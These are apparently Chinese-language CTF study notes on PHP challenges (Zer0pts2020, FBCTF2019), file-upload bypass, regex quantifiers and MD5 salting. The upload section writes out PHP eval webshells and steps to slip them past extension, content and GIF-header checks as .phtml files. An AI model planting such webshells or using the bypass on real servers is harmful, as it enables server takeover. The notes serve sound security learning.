[Zer0pts2020]Can you guess it?

点开source,发现源码

image-20240529192034651

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>

然后开始进行代码审计

根据题目提示,flag在config.php中,所以我们的目的是要读取config.php

题解

[FBCTF2019]RCEService

用json格式输入{“cmd”:”ls”}

image-20240529170911278

我们再查看源码(可能比赛给了源码吧,我是没找到)

题解

文件幻术头

1
2
情景介绍
要求的是传图片,将一句话木马<?php @eval($_POST['6']);?>写入文件然后试着传一下.php文件试试(并抓包),结果会被前端检测到上传的文件格式图片(客户端javascript检测,检测文件扩展名)。改包改成.jpg格式再放包,结果提示不能出现<?(服务端文件内容检测,检测内容是非合法或含有恶意代码),然后换一个没有<?的木马<script language="php"> @eval($_POST['6']); </script>继续放包,结果后端检测到这个文件是假的图片文件(服务端文件内容检测,检测内容是非合法或含有恶意代码),要在木马前面加一个GIF98a(文件幻术头) 以达到让后端检测的时候相信这是一个图片文件。放包看到上传成功,但响应包没有所上传文件的路径(url/upload/muma.jpg),菜刀连接url/upload/muma.jpg发现不能访问,这里的问题是因为上传的文件得是.phtml格式,即图片格式绕过前端后要改包将文件格式改为.phtml。此处设计到的知识点用下面会讲。

正则表达式

限定符

?

表示?前面的字符出现一次或0次,意思是?前的字符可有可无

例如:used? 表示d可以出现0次或1次

md5

用途

1.校验文件完整性

2.存储密码改为存储md5,就算得到md5也无法知道密码(但是单纯密码的话,还是存在固定md5,这个时候我们应该给md5加盐)

加盐:就是在密码后边随机加随机数,然后将随机数存储,每次输入密码后边再加上随机数填充计算MD5

3.无法破解原始数据,因为md5是不可逆的

upload1-js绕过

1.验证合法性

当我们上传文件时,如果文件是php格式,就会被拦截,抓包抓不到任何东西

文件上传